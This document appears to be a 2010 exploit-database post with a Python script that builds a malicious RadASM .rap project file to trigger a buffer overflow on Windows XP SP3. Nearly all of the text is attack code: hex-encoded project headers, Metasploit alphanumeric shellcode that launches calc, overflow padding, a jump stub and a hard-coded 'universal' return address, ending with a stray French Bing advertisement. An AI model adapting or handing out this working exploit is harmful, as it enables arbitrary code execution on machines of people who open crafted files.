Radasm .rap Universal Buffer Overflow

`  
  
Note: i used different way to exploit it (its not a duplicated exploit)  
  
# Exploit Title: Radasm (.rap) Universal buffer overflow Exploit  
# Date: 10/02/2010  
# Author: Dz_attacker  
# Tested on: Windows xp sp3  
# Code :  
  
#!/usr/bin/python  
#[+] Radasm (.rap) Universal buffer overflow Exploit  
#[+] Original : http://www.exploit-db.com/exploits/11392  
#[+] Exploit : Dz_attacker ([email protected])  
  
header1=(  
"\x5b\x50\x72\x6f\x6a\x65\x63\x74\x5d\x0d\x0a\x41\x73\x73\x65\x6d\x62\x6c\x65\x72"  
"\x3d\x6d\x61\x73\x6d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x31\x0d\x0a\x47\x72\x6f\x75"  
"\x70\x45\x78\x70\x61\x6e\x64\x3d\x31\x0d\x0a\x5b\x46\x69\x6c\x65\x73\x5d\x0d\x0a"  
"\x31\x3d\x41\x56\x50\x20")  
  
  
header2=(  
"\x2e\x41\x73\x6d\x0d\x0a\x32\x3d\x41\x56\x50\x20\x4f\x76\x65\x72\x2e\x49\x6e\x63"  
"\x0d\x0a\x5b\x4d\x61\x6b\x65\x46\x69\x6c\x65\x73\x5d\x0d\x0a\x30\x3d\x41\x56\x50"  
"\x20\x4f\x76\x65\x72\x2e\x72\x65\x73\x0d\x0a\x5b\x4d\x61\x6b\x65\x44\x65\x66\x5d"  
"\x0d\x0a\x4d\x65\x6e\x75\x3d\x30\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31\x2c\x31"  
"\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x2c\x30\x0d\x0a"  
"\x31\x3d\x34\x2c\x4f\x2c\x24\x42\x5c\x52\x43\x2e\x45\x58\x45\x20\x2f\x76\x2c\x31"  
"\x0d\x0a\x32\x3d\x33\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45\x58\x45\x20\x2f\x63"  
"\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x36\x43\x6f\x67\x6f\x20"  
"\x2f\x49\x22\x24\x49\x22\x2c\x32\x0d\x0a\x33\x3d\x35\x2c\x4f\x2c\x24\x42\x5c\x4c"  
"\x49\x4e\x4b\x2e\x45\x58\x45\x20\x2f\x53\x55\x42\x53\x59\x53\x54\x45\x4d\x3a\x57"  
"\x49\x4e\x44\x4f\x57\x53\x20\x2f\x52\x45\x4c\x45\x41\x53\x45\x20\x2f\x56\x45\x52"  
"\x53\x49\x4f\x4e\x3a\x34\x2e\x30\x20\x2f\x4c\x49\x42\x50\x41\x54\x48\x3a\x22\x24"  
"\x4c\x22\x20\x2f\x4f\x55\x54\x3a\x22\x24\x35\x22\x2c\x33\x0d\x0a\x34\x3d\x30\x2c"  
"\x30\x2c\x2c\x35\x0d\x0a\x35\x3d\x72\x73\x72\x63\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24"  
"\x42\x5c\x43\x56\x54\x52\x45\x53\x2e\x45\x58\x45\x2c\x72\x73\x72\x63\x2e\x72\x65"  
"\x73\x0d\x0a\x36\x3d\x2a\x2e\x6f\x62\x6a\x2c\x4f\x2c\x24\x42\x5c\x4d\x4c\x2e\x45"  
"\x58\x45\x20\x2f\x63\x20\x2f\x63\x6f\x66\x66\x20\x2f\x43\x70\x20\x2f\x6e\x6f\x6c"  
"\x6f\x67\x6f\x20\x2f\x49\x22\x24\x49\x22\x2c\x2a\x2e\x61\x73\x6d\x0d\x0a\x37\x3d"  
"\x30\x2c\x30\x2c\x22\x24\x45\x5c\x4f\x6c\x6c\x79\x44\x62\x67\x22\x2c\x35\x0d\x0a"  
"\x5b\x47\x72\x6f\x75\x70\x5d\x0d\x0a\x47\x72\x6f\x75\x70\x3d\x41\x64\x64\x65\x64"  
"\x20\x66\x69\x6c\x65\x73\x2c\x41\x73\x73\x65\x6d\x62\x6c\x79\x2c\x52\x65\x73\x6f"  
"\x75\x72\x63\x65\x73\x2c\x4d\x69\x73\x63\x2c\x4d\x6f\x64\x75\x6c\x65\x73\x0d\x0a"  
"\x31\x3d\x31")  
  
# win32_exec - EXITFUNC=process CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com  
shellcode=(  
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
"\x42\x30\x42\x50\x42\x50\x4b\x58\x45\x54\x4e\x43\x4b\x48\x4e\x37"  
"\x45\x50\x4a\x57\x41\x30\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"  
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x58\x46\x33\x4b\x38"  
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"  
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"  
"\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x50\x45\x57\x45\x4e\x4b\x38"  
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x48\x4e\x50\x4b\x44"  
"\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x38"  
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x50\x43\x4c\x41\x43"  
"\x42\x4c\x46\x36\x4b\x48\x42\x44\x42\x33\x45\x58\x42\x4c\x4a\x57"  
"\x4e\x30\x4b\x38\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a"  
"\x4b\x48\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"  
"\x42\x30\x42\x30\x42\x50\x4b\x38\x4a\x36\x4e\x43\x4f\x55\x41\x53"  
"\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x37"  
"\x42\x55\x4a\x56\x50\x57\x4a\x4d\x44\x4e\x43\x57\x4a\x46\x4a\x59"  
"\x50\x4f\x4c\x48\x50\x30\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"  
"\x4e\x36\x43\x56\x42\x30\x5a")  
  
buffer = header1  
buffer += "\x41"*2  
buffer += shellcode  
buffer += "\x41"*(1809-len(shellcode))  
buffer += "\x61"*3  
buffer += "\xFF\xD0"  
buffer += "\xEB\xF9\x90\x90"  
buffer += "\x55\x25\x40\x00" #univ ret  
buffer += header2  
  
  
try:  
rap = open("exploit.rap",'w')  
rap.write(buffer)  
rap.close()  
print "Exploit file created!\n"  
except:  
print "Error occured!"  
  
________________________________  
Vous cherchez l'intégrale des clips de Michael Jackson ? Bing ! Trouvez !<http://www.bing.com/videos/search?q=Michael+Jackson&FORM=MVDE6>  
  
  
  
`